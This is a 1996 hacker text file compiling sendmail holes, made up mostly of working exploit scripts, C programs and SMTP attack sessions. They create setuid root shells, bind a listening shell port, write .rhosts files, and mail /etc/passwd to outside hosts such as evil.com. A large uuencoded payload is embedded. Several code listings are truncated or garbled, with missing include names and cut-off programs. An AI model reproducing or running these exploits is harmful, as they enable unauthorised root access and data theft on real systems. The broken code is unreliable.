Data collected by: Zhart
Date: 26/11/96
I wanna say that I don't take any credit for this text, I simply collected
and reorganized all the info that was all around for my harddisk (and in my
head), just commented some bugs or added something; sometimes I haven't
even tested the source codes.
I started compiling this list for my own use, then I thought it would be
interesting also for other ppl, mainly beginners, or maybe nobody. For any
comments you can reach me on L.O.R.E. bbs
-----------------------------------------------------------------
Hole Version of Sendmail
-----------------------------------------------------------------
= WIZ = *oLD*
= DEBUG = *oLD*
= TURN = *oLD*
= OVERFLOW INPUT BUFFER = *oLD*
= DECODE ALIAS = *VrFy*
= qf SunOS = *SunOS-sendmailV5.1*
= -oR SunOS = *SunOS-sendmailV5.22*
= -oM = *8lgm6Dec1994-SMI-Sendmail(sm based on SunOS)*
= OVERWRITE FILES = *FiXED iN 5.59*
= -oQ = *DuNNo*
= |PROGRAM = *TeSTeD oN 5.55*
= .forward = *5.61*
= TAIL = *TeSTeD oN 5.65*
= -C = *oLD*
= 4.1 = *TeSTeD oN 4.1*
= -d########### = *8.X.X <8.6.7*
= -oE/filename bounce= *8.6.7*
= 8.6.9 ident = *8.6.9*
= 8.6.9 newlines = *8.6.9*
= 8.6.10 ident/newlines = *8.6.10*
= HP-UX = *HP-UX 9.x*
= 8.7.5 gecos = *8.X.X <8.8.0* *TeSTed oN 8.6.12*
= mime7to8() = *8.8.0*
= smtpd = *8.7-8.8.2*
----------------------------------------------------------------
WIZ = *oLD* =
The oldest and easiest hole in sendmail is the 'wiz' backdoor, now very
difficult to find. At the connect just type 'wiz' and then 'SHELL' ,and
you're in a root shell. [ it can be set by configuring sendmail.cf file ...
'OW' option immediately followed by the encrypted password ]
DEBUG = *oLD* =
This bug was used by the inet worm by Robert T. Morris Jr. Its exploiting
allows anyone to execute any program on a remote machine. It simply
consists in giving the 'debug' command, use a pipe to /bin/sh as recipient
and feed the data with the commands you want to be executed on the remote
machine.
[ If sendmail server answers with "200 Debug set" to the 'debug' command
there are good chances the bug is still present ]
Example :
#!/bin/sh
telnet << EOF
open fucked.host.edu 25
debug
mail from:
rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">
data
cp /bin/sh /tmp/sushi # or alternatively:
chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts
.
EOF
TURN = *oLD* =
TURN command allows mail to be stolen ... [ Don't bother, old stuff! ]
OVERFLOW INPUT BUFFER = *oLD* =
Cause the sendmail deamon to lock up ... [ old stuff! Just for collection
;) ]
DECODE ALIAS = *VrFy* =
If '/etc/aliases' contains "|/usr/bin/uudecode" anyone can send mail to
decode, write to any file onwed by daemon, if they can connect to sendmail
daemon, can write to any file owned by any user.
To test the existence of decode alias from a sendmail connection do:
% telnet target.com
Trying 127.127.127.127
Connected to target.com
Escape character is '^]'.
220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
1SecExploit:
% echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com
MoreThan1SecExploit:
% cat > outfile # Let's make our .rhosts file
+ +
^C
% uuencode outfile /usr/bin/.rhosts
begin 644 /bin/.rhosts
$*R'K"O\
% telnet fuqdhost.com 25
220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST)
VRFY decode
250 <|/usr/bin/uudecode>
MAIL FROM: bin
250 ... Sender Okay
RCPT TO: decode
250 ... Recipient Okay
DATA
354 Enter mail, end with "." on a line by itself
begin 644 /bin/.rhosts
$*R'K"O\ # which is just "+ +" uuencoded
end
.
250 Mail accepted
quit
221 fuqdhost.com closing connection
Connection closed by foreign host.
% rlogin fuqdhost.com -l bin
$
If no home directories are known or writable, an interesting variation of
this is to create a bogus /etc/aliases.pag file that contains an alias with
a command you wish to execute on your target. This may work since on many
systems the aliases.pag and aliases.dir files, which control the system's
mail aliases, are writable to the world.
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
qf SunOS = SunOS-sendmailV5.1 =
The method used by sendmail version 5 to open a control file
[/usr/spool/mqueue/qf########] is unsecure. A race condition exists whereby
another process may obtain a control-file file descriptor, opened for write
access. Sendmail v5, during execution, sets umask(0), which is an insecure
mask. In order not to leave open control files with mode 666, sendmail v5
uses chmod(2) to set a secure file mode. However this is a race condition,
as we can obtain an open file descriptor for write by opening the control
file before the call to chmod(2).
IMPACT: Local users can write their own control files, and run programs
as any user, bar root.
EXPLOIT:
grabfd.c:
/*
* grabfd.c
* usage: grabfd username command-file
*
* username: user to execute 'command-file' as.
* command-file: file containing 10 lines of shell commands to execute.
*/
#include
#include
#include
#include
#ifndef SENDMAIL
#define SENDMAIL "/usr/lib/sendmail"
#endif
#ifndef SPOOL_DIR
#define SPOOL_DIR "/usr/spool/mqueue"
#endif
char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
main(argc,argv)
int argc;
char **argv;
{
int pid, fd;
char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
if (argc != 3) {
(void)fprintf(stderr, "%s: user file\n",
argv[0]);
exit(1);
}
if (getpwnam(argv[1]) == NULL)
(void)fprintf(stderr, "%s: user %s unknown (error
ignored)\n",
argv[0],
argv[1]);
if (access(argv[2], F_OK) == -1) {
(void)fprintf(stderr, "%s: %s does not exist.\n",
argv[0],
argv[2]);
exit(1);
}
if (access(SPOOL_DIR, X_OK) == -1) {
(void)fprintf(stderr, "%s: cannot access %s.\n",
argv[0],
SPOOL_DIR);
exit(1);
}
if (pid=fork()) {
if (pid == -1) {
(void)perror("fork");
exit(1);
}
(void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
(void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
for (;;)
if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
(void)printf("%s: grabbed queue fd.\n",
argv[0]);
(void)wait();
(void)ftruncate(fd, 0);
(void)write(fd, sysbuf, strlen(sysbuf));
(void)close(fd);
if(execl(SENDMAIL,
"sendmail", "-q", (char *)0) == -1) {
(void)perror("execl");
exit(1);
};
}
} else {
(void)close(0);
if (open("/etc/motd", O_RDONLY, 0) == -1) {
(void)perror("open");
exit(1);
};
if (execl(SENDMAIL,
"sendmail",
#ifdef sun
"-os",
#endif
"-odq", getlogin(), (char *)0) == -1) {
(void)perror("execl");
exit(1);
};
}
exit(1);
}
::::::::::::::::::::::::::::::::: END OF HOLE ::::::::::::::::::::::::::::
-oR SunOS = SunOS-4.1.X-sendmail V5.22 =
From 8lgm:
DESCRIPTION: The -oR option uses popen() to return undeliverable mail.
IMPACT: Local users can obtain root access.
-------------------------- ropt.sh ---------------------------------------
#!/bin/sh
#
# Syntax: roption host
#
# host is any system running sendmail (except localhost).
#
# This exploits a flaw in SunOS sendmail(8), and attempts
# create a suid root shell
#
# Written 1995 by [8LGM]
# Please do not use this script without permission.
#
PROG="`basename $0`"
PATH=/usr/ucb:/usr/bin:/bin export PATH
IFS=" " export IFS
# Check args
if [ $# -ne 1 ]; then
echo "Syntax: $PROG host"
exit 1
fi
# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
echo "Sorry, this only works on SunOS"
exit 1
fi
PROG="`basename $0`"
EXECME=/tmp/HotterThanMojaveInMyHeart
# Create EXECME.c
cat > $EXECME.c << 'EOF'
main(argc,argv)
int argc;
char *argv[];
{
chown("/tmp/InfamousAngel", 0, 0);
chmod("/tmp/InfamousAngel", 04755);
}
EOF
cc -o $EXECME $EXECME.c
# Check we have EXECME
if [ ! -x $EXECME ]; then
echo "$PROG: couldnt compile $EXECME.c - check it out"
exit 1
fi
/bin/cp /bin/sh /tmp/InfamousAngel
# Run sendmail
/usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
To: No1InParticular
Hows it goin
EOF
exec /tmp/InfamousAngel
................................ Cut HeRe ...................................
-oM = 8lgm6Dec1994-SMI-Sendmail(based on SunOS sm) =
Sun sendmail allows -oM to set any macro, and still retains root privilege.
( The list of 'trusted' macros should be limited. )
At time of writing (Dec 1994) affected sendmail were: " SunOS 4.x Sendmail
- all versions including latest 4/5/94 Sendmail Jumbo Patch 100377-15 "
After further investigation, it has been discovered that SVR4 based ports
include sendmail(8) based on SMI code.
EXPLOIT:
1. Create the file sunsendmailcp
8>------------------------- cut here ---------------------------
#!/bin/sh
#
# sunsendmailcp from to
if [ $# -ne 2 ]; then
echo usage: `basename $0` from to
exit 1
fi
rm -f /usr/tmp/dead.letter
if [ -f /usr/tmp/dead.letter ]; then
echo sorry, cant continue - /usr/tmp/dead.letter exists
fi
if [ ! -r $1 ]; then
echo $1 doesnt exist or is unreadable
exit 1
fi
ln -s $2 /usr/tmp/dead.letter
/usr/lib/sendmail -L0 '-oM#anything' $USER < $1
rm /usr/tmp/dead.letter
exit 0
8>------------------------- cut here ---------------------------
2. Execute the command % ./sunsendmailcp sourcefile targetfile and target
file will either be appended to or created.
OVERWRITE FILES = FiXED iN 5.59 =
Remote users are able to write to any non-root owned files in the system.
This bug was definitely fixed in version 5.59 from Berkeley; despite the
messages below, for versions of sendmail previous to 5.59, the "evil.com"
gets appended, despite the error messages, along with all of the typical
mail headers, to the file specified:
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %
'-oQ' = DuNNo =
This bug involves the '-q' and the '-oQ' options and causes any file to be
deleted and read. You should create a 'qf'-type file, in the
/usr/spool/mqueue dir, like this:
P28
T599831504
Dfilename
Suser
Ruser
H?P?return-path:
H?F?from: user (User Name)
H?x?full-name: User Name
HTo: user
Hsubject: Gotcha
after the command `sendmail -q -oQ' is issued, file `filename' will be
deleted and its content will be mailed to 'user'.
- - - - The 'oQ' sets the 'Q' option ,which selects the dir in which to
queue messages The 'q' make the daemon to process the queue - - - -
'|PROGRAM ' = TeSTeD oN 5.55 = ...may be others
Anyone can specify arbitrary shell commands and/or pathnames for the sender
and/or destination address. A typical attack to get the password file is:
% telnet target.com 25
Trying 123.456.789.0...
Connected to target.com
Escape character is '^]'.
220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51
mail from: "|/bin/mail me@myhost.com < /etc/passwd"
250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok
rcpt to: mickeymouse
550 mickeymouse... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
%
.forward = 5.61 =
When delivering to files and programs, `sendmail' does not do an
`initgroups(3)' after forking on final delivery. As a result, the sender's
group list remains in effect throughout this stage. This is particularly
serious when root is sending the mail since a program executed out of a
`.forward' file gains interesting privileges like `wheel' and `kmem'. A
related hole can be broken down into a "problem" and an "aggravation". The
"problem" is that queued local mail no longer has the original recipient's
uid associated with it. Control files only store a list of exploded
recipients (i.e. users, files and programs) -- one per line -- each
prefaced with an `R'.
So, after an address resolves to the local machine and has undergone alias
and ".forward" expansion, if the letter happens to get queued, on the
succeeding queue run sendmail doesnt know who to run the final delivery as.
The "aggravation" is that, when doing this final delivery of queued local
mail, sendmail will `setuid()' itself to the sender's uid if it is
available; in general, the sender's uid will be used when the sender is on
the local machine. As a result, a user can run a program as anyone who
sends them mail from the local machine. There is also an added
"complication"; the default uid and gid are also set to the sender when
delivering mail! Since the default uid and gid are only used when calling
`setuid()' and `setgid()' (to reset the uid/gid before doing final
delivery), these variables should never be set to the sender.
|------------------------------ Local compromise
------------------------------|
Save the following program as "sploit.c" changing MYUID to your user id.
Compile "sploit.c" producing the executable "sploit" in your home
directory. Create a ".forward" file containing:
\, "|/sploit"
[change to your username so you dont lose mail (unless, of course, you'd
rather lose mail) and set to your home directory path (where sploit
lives)] Now, as another user, send yourself some mail. Note that the sploit
program defers delivery the first time thru; check out "/tmp/whoami" to see
that sploit ran as you. Now, run your mail queue (or open a beer and wait
for sendmail to run it). After the queue run, note that the sploit accepted
the letter and returned a successful exit status; check out "/tmp/whoami"
again to see that this time, sploit ran as the sender! You can also use
"sploit.c" to test for the root initgroups() hole by checking the group
list when "sploit" was first called.
#include
#include
#include
#include
#include
#include
#define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */
#definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
#definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */
main()
{
FILE *fp;
uid_t myuid;
int i, rval, ngrps, grplst[NGROUPS];
if ((myuid = getuid()) == MYUID)
rval = EX_TEMPFAIL;
else
rval = EX_OK;
if ((fp = fopen("/tmp/whoami", "a")) != NULL) {
/* real user/group ids */
fprintf(fp, "%susr:%s grp:%s",
(rval == EX_OK)? "": "Def> ",
getuser(myuid), getgrp(getgid()));
/* effective user/group ids */
fprintf(fp, " eusr:%s egrp:%s",
getuser(geteuid()), getgrp(getegid()));
/* group list */
if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
fprintf(fp, " grps:");
for (i = 0; i < ngrps; i++)
fprintf(fp, " %s", getgrp(grplst[i]));
}
fprintf(fp, "\n");
(void) fclose(fp);
}
exit(rval);
}
--------------------- CuT HeRe -------------------------------------------------
===================== trick for sendmail 5.61 ===========================
/*
* 1) set the #define UID, at the top of the program to be your's
* 2) create a file: /tmp/.shell, which is a script to make a suid shell
* 3) compile the program and name it say, /tmp/.magic
* 4) create a .forward file containing: '|/tmp/.magic'
* 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
* you want a shell from (but not root :-( RATS!)
* 6) wait abit, it usually works ...
*/
#define UID 777 /* change to your uid */
#include
#include
#include
#include
#include
#include
#define SHELLFILE "/tmp/.shell"
main()
int myuid, rval;
if ((myuid = getuid()) == UID)
rval = EX_TEMPFAIL;
else {
rval = EX_OK;
system(SHELLFILE);
}
exit(rval);
}
------------------------------ CuT HeRe --------------------------------
Tail creates a daemon shell = TeSTeD oN 5.65 =
Through this sendmail bug, it is possible to become uid daemon (or whatever
your sendmail delivers non-user mail as), or the uid of any user. The
specifics are as follows:
* The envelope From: field, or possibly the Errors-To: header (but I've
not tested it), must be set to the pipe through a bounce of your mail
will be returned. Typically this is executed by uid daemon.
* An error must be caused in the message such that sendmail will send a
bounce to the From: envelope (or possibly to Errors-To:).
These two conditions are all that is necessary to exploit the bug.
Typically the simplest thing to pipe to is
|/usr/ucb/tail|/usr/bin/sh
aka |/usr/ucb/tail|/bin/sh
That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin/;
the PATH is important in the case.
The condition we have used to generate an error is an invalid
Return-Receipt-To: header. There are a plethora of other ways to do so, and
some of them may depend on the specifics of your sendmail; be forewarned.
The last ten lines of your message should contain whatever you wish to do
as uid daemon.
---cut here
[panix!jhawk] |% telnet panix.com 25
Trying 198.7.0.2 ...
Connected to panix.com.
Escape character is '^]'.
220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
-0500
HELO
250 Hello panix.com, why do you call yourself ?
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
RCPT TO: root
250 root... Recipient ok
DATA
354 Enter mail, end with @.@ on a line by itself
From: jhawk"panix.com (John Hawkinson)
To: jhawk"panix.com (John Hawkinson)
Return-Receipt-To: |foobar
Subject: This is a large hole in the ground.
X-Disclaimer: We take no responsibility for what might happen
Hi there. Wanna play ball?
#!/bin/sh
#The above line is just in case :-)
echo This is a Serious Bug > /tmp/bug
echo id reports: >> /tmp/bug
/usr/bin/id >> /tmp/bug
echo Fixing this would be good >> /tmp/bug
cp /bin/sh /tmp/bugshell
chmod u+s /tmp/bugshell
echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
chmod ugo+rx /tmp/bugshell
.
250 Ok
quit
221 panix.com closing connection
------------------------- CuT HeRe ----------------------------------------
"-C" = oLD =
Read any file. Using the '-C' option causes an alternative configuration
file to be used, if the file is a protected file which is actually not a
send mail configuration file, `sendmail' will print out some contents of
the file as an error message.
It is reported working on DYNIX (3.0.14) and ULTRIX (2.X)
$ sendmail -C /etc/shadow
4.1 = TeSTeD oN 4.1 =
It allows remote access as bin...and since bin owns the /etc dir you can
gain root.
Rsend needs mconnect, which is a binary, which just connects to the place
and sends the data. You can get rid the of ()'s at the beginninga and end
of the script, and get rid of the mconnect line, and run like ./rsend >
file, then ascii U/L the file to port 25...If it says a lot of stuff like
"Command Ununown" 25 times, then it didn't work.
Here's rsend:
#!/bin/sh
# Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
#
# This material is copyrighted by Scott Chasin, 1992, 1993. The
# usual standard disclaimer applies, especially the fact that the
# author is not liable for any damages caused by direct or indirect
# use of the information or functionality provided by this program.
#
# Description:
#
# Exploit NEW sendmail hole and bind a port so we can spawn a program.
# Not for distribution under any circumstances
#
# Usage: smail
# default: smail <7001>
port=$3
user=$2
cmd=$4
if [ -z "$2" ]; then
user=daemon
fi
if [ -z "$3" ]; then
port=7002
fi
if [ -z "$4" ]; then
cmd="/bin/csh -i"
fi
(
sleep 4
echo "helo"
echo "mail from: |"
echo "rcpt to: bounce"
echo "data"
echo "."
sleep 3
echo "mail from: $user"
echo "rcpt to: | sed '1,/^$/d' | sh"
echo "data"
echo "cat > /tmp/a.c <
#include
#include
#include
#include
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x
Or you can also ul this to port 25.
BTW, it gets you in by running a program that listens to port 7008...
you telnet to port 7008. You can then proceed to create new users in
/etc/passwd because you own the /etc dir...you need to type a ; after every
command, and it gives you 1 error every command...ignore it. The process
may be noticed by a few admins.
helo
mail from: |
rcpt to: bounce
data
.
mail from: bin
rcpt to: | sed '1,/^$/d' | sh
data
cat > /tmp/a.c <
#include
#include
#include
#include
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x
-d########### = TeSTeD oN SunOS & SunOS with Sendmail8.6.4 =
This bug is present in all 8.X.X sendmail versions prior to 8.6.7 Here
follow excerpts from Michael Widner's message on Bugtraq with his script
for SunOs and Solaris, and another script tested on SunOS 5.2 with sendmail
8.6.4:
"The important thing to know is that if your sendmail crashes when you pass
it something like -d387654321 then it can most likely be exploited to gain
root access.
Without going into much detail, -dx.y writes y into the debug array as
array[x]=y. Range checking is not performed properly on x, so it's possible
to pass negative integers that pass the range check. Find a key location
before the debug array, over write it, and you're in business.
The problem in trying to create a generic script is that the 'key'
locations have different offsets from the debug array for every version of
sendmail. Sometimes they're easy to locate if you can get a core, but
sometimes it is tough to get a core w/o already being root. Also, sometimes
a core tells you nothing.
The following script is Sun specific, and patches are now available for all
versions of Sun sendmail. The script creates a suid root owned copy of
/bin/sh and places it in /tmp. If you're hacking solaris, I'd suggest you
choose some program other than /bin/sh. "
#!/bin/sh
# This script takes advantage of sendmail's (mis)interpretation of
# very large unsigned ints as signed ints when accessing the debug
# array. As it, it will work with the 8 versions of sun sendmail
# that I have access to. Perhaps I'll update it if I find new
# versions of sun sendmail.
# NOTE: This is a Sun specific script. Don't expect it to work with
# any non-sun sendmail.
# -Michael R. Widner (atreus) 3/25/94
#
# usage: smdhole [/path/to/suid/sendmail]
#
# add /usr/ucb to path so solaris can find `whoami` (4/18/94)
path=$path:/usr/ucb
if [ $1x = x ]; then
sendmail=/usr/lib/sendmail
else
echo "Trying to abuse $1."
sendmail=$1
fi
sm_size=`echo \`ls -l $sendmail\` | cut -d" " -f4,5 | sed "s/[^0-9]//g`
# prefix and suffix for -1 as unsigned integer. Actually, this is
# off by two. you figure out why.
prefix=42949
suffix=67297
case $sm_size in
132064)
n1=${prefix}52864
n2=${prefix}52865
n3=${prefix}52866
echo Patched solaris w/o mx.
;;
134752) # ug! dropped a 0 before. fixed 4/18/94
n1=${prefix}01656
n2=${prefix}01657
n3=${prefix}01658
echo Patched solaris sendmail.mx
;;
130860)
n1=${prefix}53016
n2=${prefix}53017
n3=${prefix}53018
echo Un-patched solaris w/o mx.
;;
133548) # ug! dropped a 0 before. fixed 4/18/94
n1=${prefix}01808
n2=${prefix}01809
n3=${prefix}01810
echo Un-patched solaris sendmail.mx
;;
139264)
n1=${prefix}49609
n2=${prefix}49610
n3=${prefix}49611
echo Sun 4.1.3 sendmail - could be either of two versions
n4=${prefix}49265
n5=${prefix}49266
n6=${prefix}49267
;;
155648)
n1=${prefix}46953
n2=${prefix}46954
n3=${prefix}46955
echo Sun 4.1.3 sendmail.mx - could be either of two versions
n4=${prefix}46609
n5=${prefix}46610
n6=${prefix}46611
;;
*)
echo "I don't know what version of sendmail $sendmail is."
echo -n "Look for other versions of sendmail[.mx] on the "
echo "system and re-run this as:"
echo " $0 /path/to/another/suid/sendmail"
echo
echo "Let me see if I can suggest anything..."
find /usr/lib /var/sadm/patch -name "*sendm*" -perm -4001
-ls 2>/dev/null
exit 1
;;
esac
cat << EOM > /tmp/sendmail.cf
DMether
DRlocalhost
CRlocalhost
CDMailer-Daemon root daemon uucp
DlFrom \$g \$d
Do.:%@!^=/[]
Dq\$g\$?x (\$x)\$.
De\$j nothing
OA./aliases
OF0666
Og1
OL0
Oo
OPPostmaster
OQ.
Os
Ou1
T root daemon uucp
H?F?From: nobody
Mlocal, P=/tmp/in.telnet, F=flsSDFMmnP, S=10, R=20, A=mail -d \$u
Mprog, P=/tmp/in.telnet, F=lsDFMeuP, S=10, R=20, A=sh -c \$u
S0
R\$+ \$#local \$:\$1 just rewrite
EOM
cat $0 | sed "s:atreus::" | uudecode
uncompress /tmp/in.telnet.Z
chmod 755 /tmp/in.telnet
mkdir /tmp/mail
cp /tmp/sendmail.cf /tmp/mail
cp /bin/sh /tmp/newsh
chmod 666 /tmp/newsh
$sendmail -d${n1}.116,${n2}.109,${n3}.112 `whoami` <#H0N.!B?A-(#4!5>PGGT9atreus
M068Z7==^%;%A[ BS!U6]5@P*#4V;. $L*)YY,P%@$LP"B' [-X#=O=56&'N!atreus
M]4'J<$(""V!.*1]U2@&Q4TJHY5J8,@FC%"+^00 3&, (" HC_B$@" 1@D*$@atreus
M))R!$, GQ!0$'1^!' ,. H&@4;"CP$@ EIKMFFatreus
MG%-6>24;66X)0AMAP %'&FZ< 8(98:3!1AURE)'G0A3TR::;<'H)IIADXKG0atreus
M"W2T <<+;I1QQQQH%#35+Y",%40(+OET@!X5 @ )!2) AT MN;AF:Z\Q@K atreus
M 7F8E4([MJZ1:X02\*LD[8X+Q )U'20!M_U\!$H DDB24W8*6"M*N."$H@(8 D!#P'B?P&03atreus
M0J 0\@,_,N"K\'C0@BBB5%15>Y(TV')3%QCH I *.%R 0BI51#1!36 $ 4(1>7X0Y$5)%M!!R"TL$L(50[ atreus
MI8N8&A"-4WJ:/7H#?P%H]060%G&Z00P!DP-, 8NA9 D\&B*,Gatreus
M"Y$-X$=!(M1=D R9%R"'4$06M$/F!^0@E$)%? ^*GDO@R0% IQ I") %>LI"atreus
M9 A@BH*,@!0("0-/B**G-)"/#GJ20^9,(Q1H((00HSM ')Z'D$F,3@#3$ HXatreus
M$"**R!@@#P[$ D)JX<)$L&^%!4%&_/X'+&1\H0QT* ,>,/A#,H2!#F$ P _=atreus
M0 8 S &):G(B%.GP!3.PX0U'5.(/\9 &(B**44HL@QOLD(8RN4&+1,B"$X+0atreus
MA"0,(8Q<).(8T-"&-S3Q"W-\PQW.^(4^?I&/X88M=U*(0N_@%atreus
M,M2A#6W(0R/+,(:L]?$+0Z#"$Z3P!28D80I4Z*,6OT $37+2DZ 4Y27)\(8Oatreus
MG.&*8@@#&_!(AS?(80ZC9*4K82G+1M;REHJ,8R,?&1"=*T8I:]*(8S:A&-\K1CGKTHR -J4A'2M*2FO2D*$VI2E?*TI:Z]*4Patreus
MC:E,9TK3FMKTICC-J4YWRM.>^O2G0 VJ4(=*U*(:]:A(3:I2E\K4ICKUJ5"-atreus
MJE2G2M6J6O6J6,VJ5K?*U:YZ]:M@#:M8QTK6LIKUK&A-JUK7RM:VNO6M<(VKatreus
M7.=*U[K:]:YXS>M2_0,$UP&+!"'V!BPN"(5D !B !W4"6)U0;R&5*P Ratreus
M$()#[@$ L3XQ7"" 0;*HO H43OL'/SQ+%= ^+1]!"YT(VN=*=+atreus
MW>I:][K8S:YVM\O=[GKWN^ -KWC'2][RFO>\Z$VO>M?+WO:Z][WPC:]\YTO?atreus
+^MKWOOC-KW[WFUS=atreus
atreus
endatreus
----------------------- CuT HeRe -------------------------------------
Here it is the other script:
/* What follows is a sample run exercising the latest sendmail hole and the
script used to exploit this hole. This is a re-send; I neglected to escape
the "." in the sendmail script, leaving the program slightly truncated. To
fix this, I have escaped the . so prior to executing this you must remove
the \. (does that make any sense? :-) There was also a small problem with
nested quotes pointed out by Peter Wemm which I have fixed.
This is the "small version" of the script; it assumes you have a sane
sendmail.cf. In this manner, it is not a particularly robust "breakin
script" but I believe it does illustrate how to exploit the bug.
This program uses "calc.c," the program mentioned by Timothy Newsham in an
earlier message. The program has been modified slightly so that it gives
better results (it would occasionally fail to locate the offset of a config
given a buggy sendmail. The fix is to force a sync() after it generates a
coredump.) The remainder of the program was written by myself and a fellow
student, Steven Dake.
We have held off on releasing this script until we were able to notify the
people responsible for system security at NAU. Locals subscribing to this
digest beware; sendmail on our machines has been patched! :-) */
Script started on Thu Mar 24 00:54:54 1994
[pine] [1] date
Thu Mar 24 00:54:57 MST 1994
[pine] [2] whoami
jwa
[pine] [3] id
uid=4473(jwa) gid=400(student)
[pine] [4] ls -l sendbug.sh
-rwx------ 1 jwa student 4893 Mar 24 00:46 sendbug.sh*
[pine] [5] sendbug.sh
Creating setid0 ...
Creating calc...
Scanning core image for /nau/local/lib/mail/sendmail.cf...
Creating alias.sh ...
Creating fake alias file...
Faking alias pointer in new config file...
Creating the sendmail script...
Executing /usr/lib/sendmail -
d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
4935554.109,4294935555.46,4294935556.9
Version 8.6.4
220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994
00:55:21 -0700
220 ESMTP spoken here
250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
250 ... Sender ok
250 ... Recipient ok
354 Enter mail, end with "." on a line by itself
250 AAA01803 Message accepted for delivery
503 Need MAIL before RCPT
503 Need MAIL command
500 Command unrecognized
500 Command unrecognized
221 pine.cse.nau.edu closing connection
setid0 is a suid shell. executing...
executing /bin/csh...
pine# whoami
root
pine# id
uid=0(root) gid=0(root)
pine# exit
pine# end of script.
. and here's the program.
#!/bin/sh
# exploit new sendmail bug to give us a root shell
# 24 mar 94 jwa/scd @nau.edu
# "short version"
# tested on sunos 5.2/sendmail 8.6.4
# location of sendmail
SENDMAIL=/usr/lib/sendmail
# location of original sendmail.cf file
CONFIG=/nau/local/lib/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL | grep sendmail.cf`
# program to execute as root
SHELL=/bin/csh
TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR
cp $SENDMAIL sm
chmod 700 sm
echo "Creating setid0 ..."
cat > setid.c << _EOF_
/* set uid to zero, thus escaping the annoying csh and solaris sh
* problem..
*
* if (getuid() != geteuid()) {
* printf("permission denied, you root-hacker you.\n");
* exit(1);
* }
*
* .. must be run euid 0, obviously. with no args it runs /bin/sh,
* otherwise it runs the 1st arg.
*/
#include
main(argc, argv)
int argc;
char *argv[];
int uid;
setuid(0);
setgid(0);
seteuid(0); /* probabally redundant. */
setegid(0);
uid = getuid();
if (uid != 0) {
printf("setuid(0); failed! aborting..\n");
exit(1);
}
if (argc !=2) {
printf("executing /bin/sh...\n");
system("/bin/sh");
}
else
{
printf("executing %s...\n", argv[1]);
system(argv[1]);
}
_EOF_
cc -o setid0 setid.c
